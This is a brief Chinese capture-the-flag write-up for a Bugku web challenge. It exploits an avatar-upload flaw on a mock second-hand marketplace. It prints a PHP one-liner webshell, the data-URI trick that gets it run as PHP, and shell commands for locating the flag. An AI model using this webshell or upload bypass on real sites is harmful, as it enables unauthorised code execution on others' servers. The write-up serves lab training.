Bugku WEB xxx二手交易市场

1.打开场景，发现是一个二手交易市场，常用思路是商品信息啥的，后台登录啥的，sql注入啥的，反正一通尝试，发现在注册后更换头像时存在上传漏洞，，抓包改包那么就可以拿到shell，注意这里需要把一句话木马base64编码，data:image/jpeg,可以指定文件后缀，将jpeg改为php后后台就会将其解析为php文件
一句话<?php eval($_REQUEST[8]) ?>
这里要注意，提升上去的system()后面要加；收尾，否则会报错，不知道为啥，大佬可以给个评论
2.据说蚁剑菜刀啥的都不好使，所以需要自己手动注入，根据带过去的参数执行系统命令
跟上一题一样，用more./*|grep flag，可以唱看当前目录下是否存在文件里有flag的内容
或者可以用find 命令找出flag文件所在的路径
find / -name flag*
这题没有过滤系统函数，system即可用
参考视频链接：https://www.bilibili.com/video/BV16B4y1T7Qm/